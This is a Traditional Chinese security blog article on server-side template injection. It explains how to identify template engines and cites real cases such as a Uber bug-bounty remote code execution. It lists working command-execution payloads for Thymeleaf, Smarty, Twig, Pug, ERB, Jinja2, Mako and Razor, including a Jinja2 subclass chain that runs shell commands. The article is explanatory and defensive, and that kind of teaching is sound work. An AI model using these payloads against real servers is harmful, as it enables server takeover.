SSTI惡意指令注入防不勝防,面對駭客惡意攻擊,要如何戒備與防範?
Server-Side Template Injection(SSTI)
Template概念
想要看更為詳細的Template介紹可以參考另一篇描述Client-Side Template Injection(CSTI)的文章,這邊簡單複習一下,模板(Template)類似一個有自己語法的程式語言,通過模板引擎(Template Engine)渲染出HTML頁面,其中根據模板引擎運行的地方分為Server-Side和Client-Side,而Template Injection也就是對於Template的處理不當導致惡意使用者可以在其中注入惡意指令。SSTI比起CSTI能造成的影響大多更為嚴重,因為CSTI只能影響使用者的瀏覽器Javascript,在瀏覽器中執行惡意JavaScript,功能受限於Javascript本身的限制,但SSTI有可能造成伺服器執行惡意的程式碼,進而導致有機會控制伺服器。Server-Side的模板引擎常用於需要大量模組化的針對使用者個人化頁面產出,像是E-Mail相關寄送、收據Invoice頁面、或是大量重複的頁面如購物商城商品頁面。
看更多:什麼是滲透測試?從網路資安看Client-Side Template Injection
SSTI介紹
SSTI主要的成因為程式碼中將使用者可控的輸入串接到模板中,或直接對使用者可控的輸入進行渲染,就一般而言使用者可控的輸入要透過模板的語法與變數進行操作,然而有些時候因為方便或疏忽便會有此問題的出現。在開始介紹各種語言的相關利用之前,可以先看PortSwigger研究總監James Kettle在2015年介紹的一個簡單辨識模板引擎的方法,這部分的判斷流程幾乎是SSTI聖經。
模板引擎識別
上圖中綠色代表執行成功,其中特別需要提到的是{{7*'7'}}在Twig中的輸出為49,Jinja2的輸出為7777777。
後端的模板引擎多種多樣,就算同一種後端語言也可能使用不同的模板引擎,因此以下會介紹一部份模板引擎中的SSTI攻擊方式。一般來說,會先使用測試用輸入,確認是否該模板引擎會將數學運算實行;若成立時,就會嘗試使用執行指令的語法注入後達成執行指令行為。
Thymeleaf
-Java的模板引擎
-測試用輸入
${7*7}
-執行指令(分為Spring框架的SpringEL或其它使用方式的OGNL)
SpringEL: ${T(java.lang.Runtime).getRuntime().exec('id')}
OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}
-上述的測資在Thymeleaf中只有在此模板特定的屬性中才能使用,除此之外Thymeleaf提供一個名為expression prepocessing的功能,在測資的左右兩側加入__可以讓執行預處理的地方觸發此測資
Smarty
-PHP的模板引擎
-測試用輸入
{7*7}
-執行指令
{system('id')}
Symfony/Twig
-Twig是PHP的模板引擎,在Symfony框架中可能會遇到
-測試用輸入
{{7*7}}
-執行指令
{{['id']|filter('system')}}
PugJs
-NodeJS的模板引擎
-測試用輸入
#{7*7} = 49
-執行指令
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('id')}()}
ERB
-Ruby的模板引擎
-測試用輸入
<%= 7*7 %>
-執行指令
<%= system("id") %>
Flask/Jinja2
-CTF常見題目
-Jinja2是python的模板引擎,常見於Flask框架
-測試用輸入
{{7*'7'}}
-執行指令
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
-這裡的攻擊輸入相較於其他大多數模板引擎較長,這是因為Jinja2中沒有提供可以直接執行指令的函式,這裡用到一個比較刁鑽的方法:
1.透過字串的__class__獲得str class物件
2.透過mro()的最後一個回傳值獲得object class
-mro()回傳值為(呼叫的class,前一個class的base class,... )
-python所有物件直接或間接繼承object
3.在object的__subclasses__中可以找到如subprocess.Popen這類可以執行指令的class,利用這些class即可達成執行指令
-關於在更多限制下的限制繞過稱為python沙盒逃逸,有興趣的人可以去了解相關內容
Mako
-python的模版引擎
-測試用輸入
${7*7}
-執行指令
<%
import os
x=os.popen('id').read()
%>
${x}
Razor
-.Net的模板引擎
-測試用輸入
@(1+2)
-執行指令
@{ System.Diagnostics.Process.Start("calc"); }
實際案例
Smarty
由上面的案例中我們可以發現知道這個案例是Smarty的案例,其中使用的攻擊輸入與前面文中介紹的不太相同,文中使用的{php}在smarty v3中已被棄用,只能用於較舊的smarty版本。
Jinja2
此案例為台灣傳奇滲透師 Orange 於 2016 年分享的 Uber 遠端代碼執行。
由上面的案例中可以看出這是前面介紹的Jinja2 SSTI,並且會在信件中輸出渲染完的內容(文中攻擊輸入的_應該是被markdown語法吃掉了,所以字變粗體)。
根據 Orange 於個人 Blog 中所闡述的內容,因為注入點在修改個人資料中,進入到資料庫中後,再轉拋進寄信的相關系統中,而就是在寄信的這個流程中,具有模板系統,在信件中會帶入使用者名稱,也因此造成了 Uber 這一次的遠端代碼執行!
在這個部分也可以再次宣導,企業在執行原始碼執行時,切勿一定要記得來自於資料庫的輸入,也有可能是使用者輸入,未必就是可信任的資料來源。也因此在判斷原始碼掃描工具結果時,一些高風險和中風險的弱點,往往都是使用者輸入來自資料庫、或是其他應用程式的結果,切勿果斷直接信任這些資料輸入,而是應該盤點這些資料是否有機會讓使用者直接操縱、或是間接操縱的狀況。
總結
Injection原先就是影響系統原先設計的語法一種攻擊像是基本的:Command Injection、SQL Injection等等,一路進化到了現在,變成需要去操作語言相對應的語法及資料型態,相對的攻擊也變得更抽象、更不直觀,難度也隨之增加,攻擊者及測試的工程師都需要更廣更深的程式語言及開發基礎。於是乎,雲力橘子希望能讓更多的人了解並且明白這些弱點的小細節,希望這樣的文章能讓大家多了解一些新興技術開發出來的程式會出現的新風險!
看更多:
來自外部的威脅-XXE漏洞攻擊成因
JAVA世界中不安全的反序列化風險
Reference
-https://portswigger.net/research/server-side-template-injection
-https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
-https://hackerone.com/reports/164224
-https://hackerone.com/reports/125980
-http://blog.orange.tw/2016/04/bug-bounty-uber-ubercom-remote-code_7.html
其他訊息


MDR是什麼?企業需要MDR資安保護嗎?3分鐘看其原理與好處!
2022/01/14
為什麼你的企業需要 Azure OpenAI:讓 AI 讀懂你公司的資料,還能變成專屬小助理
2022/01/14
採用人工智慧克服銀行業的挑戰
2022/01/14
多雲時代來臨,Azure Arc 引領企業輕鬆掌握多雲網路管理之道
2022/01/14
從配置漏洞到數據洩露:一則 Terraform 安全案例剖析
2022/01/14
告別安全與速度的兩難!阿里雲 ESA 邊緣安全加速,一站式全託管,安全防護,兼顧加速
2022/01/14
雲端自動擴展的隱患:配置錯誤將引爆成本危機?
2022/01/14
雲端日誌防線重要磐石,別讓黑箱成為防禦漏洞!
2022/01/14
IAM 權限設定不當造成離職員工帳號被濫用
2022/01/14
SOC結合SOAR好嗎? SOC安全營運中心用途與結合SOAR優點一次知!
2022/01/14
如何查詢網址安全?專家推薦這4招,教你免費檢測網頁安全性!
2022/01/14
IT外包費用很貴嗎?一篇搞懂IT外包5個優點和費用如何評估!
2022/01/14
多雲管理雲端是什麼?企業多雲資安管理的5大解決方案一次看!
2022/01/14
雲地混合是什麼?3分鐘看公有雲、私有雲及混合雲優缺點比較!
2022/01/14
ISO 27001是什麼?企業需要導入嗎?一篇瞭解資訊管理系統的優缺點!
2022/01/14
雲端託管好嗎?雲端託管6大優點和挑選重點懶人包!
2022/01/14
API 金鑰洩露引發大規模虛擬機創建事件
2022/01/14
虛擬機登入憑證設定不當駭客侵入成為虛擬幣礦場
2022/01/14
採用人工智慧克服銀行業的挑戰
2022/01/14
雲端遷移策略企業數位轉型關鍵
2022/01/14
從遊戲產業到數位平台:BigQuery 如何突破海量數據挑戰
2022/01/14
社交工程是什麼?被攻擊該如何防範?5大資安攻擊和防範手法一次知!
2022/01/14
企業需要用到CDN嗎?3分鐘快速瞭解CDN架構、用途和優點!
2022/01/14
AWS是什麼?AWS雲端服務類型、優勢和使用方式一次瞭解!
2022/01/14
DevOps和SRE差在哪?DevOps的4大優勢和相關服務推薦一次看!
2022/01/14
如何做好雲端安全防護?推薦這6大雲端資安健診方法一次看!
2022/01/14
IDC是什麼?我適合用嗎?挑選IDC機房3個重點和注意事項一次懂!
2022/01/14
全新登場!阿里雲 CAPTCHA 服務,給您頂級安全防護與用戶體驗
2022/01/14
什麼是DDoS攻擊?一次教你如何做好DDoS防護,保護你的網站!
2022/01/14
如何提升網站效能優化?推薦5個改善網站速度的方法一次看!
2022/01/14
雲端遷移成功關鍵因素
2022/01/14
SOC它到底是什麼?它對資安有什麼作用?對於SOC資訊安全監控的功能與優勢有哪些?
2022/01/14
精準運維,一站監控:探索騰訊雲可觀測平台的強大功能
2022/01/14
Page Speed網頁速度如何加快?四種方法教你如何改善網站速度!
2022/01/14
雲力橘子 2024 首發 Hacker Talk 論壇, 破解資安求職與無人機資安盲點
2022/01/14
如何定義開源軟體&套件?3分鐘快速搞懂第三方套件的授權模式!
2022/01/14
雜貨店也能數位轉型?食品零售商如何透過公有雲優化商務呢
2022/01/14
騰訊雲CCN雲聯網 手把手配置 高效穩定企業跨境全球互聯
2022/01/14
【2024最新】公司企業的3款最佳Devops工具,成功案例一次看!
2022/01/14
使用CDN安全嗎?CDN如何達到基本防護功能呢?
2022/01/14
我用的APP安全嗎?會被竊個資嗎?3分鐘快速檢查手機APP資安!
2022/01/14
如何確保做好企業資訊安全?這4大DDoS防護方法,推薦學起來!
2022/01/14
發現手機被追蹤怎麼辦?注意 這十大被駭徵兆,手機資安恐不 保!
2022/01/14
如何加快網站速度?影響網速的要件及升級指南
2022/01/14
Vertex AI 和 Workbench 語言模組實戰,打造有人性的客服小幫手
2022/01/14
我的 AWS實例啟用失敗,應該怎麼做?
2022/01/14
雲力橘子 2023 最終場駭客論壇,探討網站風險、原碼檢測盲點與 Crypto 黑暗面
2022/01/14
DDOS流量清洗是什麼?可以阻擋攻擊嗎?DDOS防禦方法一次看!
2022/01/14
Devops是什麼?推薦企業一次看懂Devops定義、流程及優缺點!
2022/01/14
如何做好資安防護?3個APP資安檢測工具、費用及功能一次看!
2022/01/14
CDN廠商怎麼選?中華電信CDN、Cloudflare及Multi CDN大評比!
2022/01/14
如何檢測iOS、Android手機資安?4招檢測方法預防詐騙&駭客!
2022/01/14
Google Cloud 引領潮流,擴大企業級生成式 AI的應用範疇,開創無限可能!
2022/01/14
雲力橘子邀請專家獻策,破解惡意後門與車載資安盲點
2022/01/14
企業為什麼要上雲?用途為何?盤點上雲5大優勢和費用解析!
2022/01/14
可自建CDN嗎?和供應商差在哪?兩者優缺點和供應商挑選一次懂!
2022/01/14
優化數據處理體驗:探索騰訊雲 EdgeOne 邊緣計算新境界
2022/01/14
我該如何選擇最適合 AWS EC2 實例?
2022/01/14
企業如何挑選合適的雲端服務?公有雲、私有雲差異比較總整理
2022/01/14
技術專欄_運用AWS Network Firewall控制 Workspaces
2022/01/14
弱點掃描工具有哪些?5款免費、付費弱點掃描工具優缺點分析!
2022/01/14
如何設定網站CDN?推薦公司企業使用CDN加速的4大原因!
2022/01/14
如何應對邊緣節點的網路攻擊?在 CDN 邊緣節點建立防護系統!
2022/01/14
如何測試網站安全?OWASP工具測試弱點掃描的功能服務解析!
2022/01/14
如何防禦DDoS攻擊?推薦這4大DDoS防護方法,避免網站被駭!
2022/01/14
Google Cloud 初學者指南:我該將服務運行在哪呢?
2022/01/14
雲力橘子串聯執法機關、資安廠商與風險顧問引導企業降低遇駭危機
2022/01/14
企業需要SOC資安監控嗎?如何評估?看懂SOC監控的5大功能!
2022/01/14
Multi CDN是什麼?為什麼要融合CDN?其應用方法與原理一次知!
2022/01/14
如何利用CDN內容傳遞網路讓網站加速?4大優勢與趨勢分析!
2022/01/14
DDoS攻擊怎麼防禦?DDoS攻擊手法與資安供應商挑選一次搞懂!
2022/01/14
為什麼網站速度慢?和網頁設計有關嗎?速度慢會造成什麼影響?
2022/01/14
如何提升企業雲端防護力-Cloud Armor
2022/01/14
雲力橘子 2023 首發論壇,揭示藍隊能力升級、 開發/資安磨合的奧妙心法
2022/01/14
2021 OWASP Top 10 A09資安紀錄與監控失效
2022/01/14
2021 OWASP Top 10 A10伺服器請求偽造
2022/01/14
安全防護:Web Application Firewall 設定教學
2022/01/14
主動追蹤 AWS 「資源用量」,避免配額用盡造成任務失敗
2022/01/14
我的網站慢嗎?如何檢測讓網站加速?新手必知 5 項網站優化指南!
2022/01/14
阿里雲訪問控制與權限設置教學
2022/01/14
該怎麼選擇 GCP Disk ?
2022/01/14
AWS-WorkSpaces雲端桌面服務 (下集)
2022/01/14
SOC 是什麼?SOC 資訊安全監控 v.s NOC 網路操作中心的差異?
2022/01/14
2021 OWASP Top 10 A08軟體及資料完整性失效
2022/01/14
OWASP前10大A07認證及驗證機制失效,瞭解如何修補及預防!
2022/01/14
2022 雲力橘子 Hacker Talk 漂亮收尾, 解構開發模式、弱點檢測之安全盲點
2022/01/14
CDN 內容傳遞網路是什麼?其運作的原理及用途為何?
2022/01/14
SOC 資訊安全監控中心是什麼?4 項功能服務與優勢一次知!
2022/01/14
如何提高網站的速度,為中國用戶提供可靠的體驗?
2022/01/14
如果AWS訪問密鑰暴露怎麼辦?記住這4步驟一定要先做起來!
2022/01/14
快速上手打造專屬直播平台
2022/01/14
2021 OWASP Top 10 A06易受攻擊和已淘汰的組件
2022/01/14
雲力橘子Hacker Talk傳授企業資安設計要訣,並探索IoT資安風險化解之道
2022/01/14
HACKER TALK - 常被遺漏的開發測試環境如何面對駭客迎擊? 弱點掃描是否足夠阻擋駭客攻擊? 今年最後一場論壇,精彩議程不容錯過!
2022/01/14
資安弱點掃描v.s滲透測試,差異在哪?3分鐘看優缺點與流程!
2022/01/14
智慧戰情室能夠帶給企業什麼好處?一次瞭解其功能與特點!
2022/01/14
我該如何選擇最適合的阿里雲 ECS 實例?
2022/01/14
收到 AWS Abuse Report,該怎麼辦?
2022/01/14
AWS-WorkSpaces雲端桌面服務 (上集)
2022/01/14
公司網站速度慢怎麼辦?4 大網站速度慢原因,與自我檢測方法一次看
2022/01/14
智慧戰情室能夠帶給企業什麼好處?一次瞭解其功能與特點!
2022/01/14
什麼是公有雲?公有雲安全嗎?適合哪種企業使用?
2022/01/14
2021 OWASP Top 10 A05 Security Misconfiguration 安全設定缺陷
2022/01/14
2021 OWASP Top 10 A04 不安全設計
2022/01/14
雲端WAF是什麼?WAF應用程式防火牆6點效益,提升網站安全防護力!
2022/01/14
網站該建置雲端WAF嗎?如何運用WAF保護您的網站應用程式!
2022/01/14
2021 OWASP Top 10 A03 Injection 的攻擊
2022/01/14
多層式安全防護機制教學!運用 Anti-DDoS、WAF、CDN 和 Cloud Firewall 鞏固線上業務
2022/01/14
2021 OWASP Top 10 A02加密機制失效的問題
2022/01/14
【企業案例】《今日新聞》融合CDN技術,網站流量成長 50%
2022/01/14
2021年OWASP Top 10新規範,有效補強企業資安機制缺陷!
2022/01/14
Hack Talk駭客論壇,深度剖析ICS攻擊與Windows提權威脅!
2022/01/14
源碼檢測是什麼?動態&靜態的弱點掃描測試有什麼不同?
2022/01/14
OWASP Top 10 2021 十大常見的弱點與風險,如何做好企業資安防護?
2022/01/14
網站速度太慢怎麼辦,速度也會影響到網站的轉換率嗎?
2022/01/14
內容傳遞網路(CDN)提供哪些服務?Alibaba Cloud CDN如何?
2022/01/14
SSTI惡意指令注入防不勝防,面對駭客惡意攻擊,要如何戒備與防範?
2022/01/14
2021最大資安漏洞!修補方式一次完整揭露
2022/01/14
「負載平衡」是什麼意思?網站加速與負載平衡也有關嗎?
2022/01/14
企業安全合規5式,做好DDOS防護提升您的網絡安全策略!
2022/01/14
線上學習網站速度太慢怎麼辦?透過CDN達到網站加速!
2022/01/14
遇到DDoS駭客攻擊怎麼辦?一站式的雲端安全管理有用嗎?
2022/01/14
如何提升網站速度及效能?推薦先搞懂動態v.s靜態網站的差 異!
2022/01/14
網站在中國速度很慢?中國網站加速的CDN內容傳遞最佳實務!
2022/01/14
什麼是滲透測試?從網路資安看Client-Side Template Injection
2022/01/14
手機更新後銀行帳密全被盜!小心Flubot惡意軟體入侵
2022/01/14
APP資安防禦不可輕忽!最新手遊作弊修改器GameGuardian!
2022/01/14
飛馬間諜軟體讓駭客監控你的手機!不點連結就能自動感染
2022/01/14
什麼是幸運破解器Lucky Patcher?不得不正視的APP資安問題!
2022/01/14
從零基礎學破解的駭客工具 Magisk Root, 看懂駭客攻擊如何操作!
2022/01/14
新型Android安卓駭客破解工具Mhook出現!當心被手機駭客攻擊!
2022/01/14
什麼是ApkCrack?3步驟瞭解駭客工具並完美預防駭客攻擊!
2022/01/14
預防駭客行動詐騙!看懂App網路資訊安全「原始碼加密」技術!
2022/01/14
支付、網銀金融App安全嗎?你必知的白帽App資安漏洞分析!
2022/01/14
手機被駭怎麼辦?5分鐘一次教你破解Mobile App駭客攻擊手法!
2022/01/14
App手機行動裝置的Xposed軟件攻擊模式,該如何防禦網路資安?
2022/01/14
什麼是Web Cache?3分鐘快速帶你瞭解Web Cache的功能及使用方式!
2022/01/14
如何防範網站速度的延遲及停機?看國外在特賣期間是如何做到的!
2022/01/14
常見手機APP駭客工具-FRIDA,預防你的網站遭受駭客攻擊!
2022/01/14
注意!行動裝置App資安檢測最需要注意「防記憶體偵測」技術!
2022/01/14
要如何預防駭客攻擊?6步驟教你如何提升網路資安的安全性!
2022/01/14
網路詐騙手法!釣魚信件、釣魚網站的社交工程駭客常見3手法!
2022/01/14
來自外部的威脅 - XXE漏洞攻擊成因
2022/01/14
JAVA世界中不安全的反序列化風險
2022/01/14
API 安全問題探討
2022/01/14
駭客工具的氾濫VS企業所面對的資安威脅
2022/01/14
會員、個人資料外洩怎麼辦?4個預防資料外洩方法一次看懂!
2022/01/14
嚇!手遊資安危機 數小時恐喪失上億營收
2022/01/14
Pokemon Go越紅公司損失越大! 歷時兩年開發,上市不到72小時就被駭
2022/01/14
注意!金融業已成為駭客攻擊目標,4個防範手機App的資安威脅!
2022/01/14
準行政團隊Line國事作法急轉彎,準經長受命客製臺版即時通
2022/01/14
從Google Play下載App保證安全!? 資安業者:超過100款惡意程式會偷資料、點擊詐騙
2022/01/14
網銀App漏洞 金管會關注
2022/01/14
Google釋出Nexus Android 4月份更新,一次修補近40項漏洞
2022/01/14
Android逆向之旅---靜態分析技術來破解Apk
2022/01/14
Xcode Ghost事件說明及處理建議
2022/01/14
NEW-【第一季資安報告】加密勒索軟體感染翻兩倍;行動惡意威脅App突破500萬大關!
2022/01/14
Critical GHOST vulnerability affects most Linux Systems
2022/01/14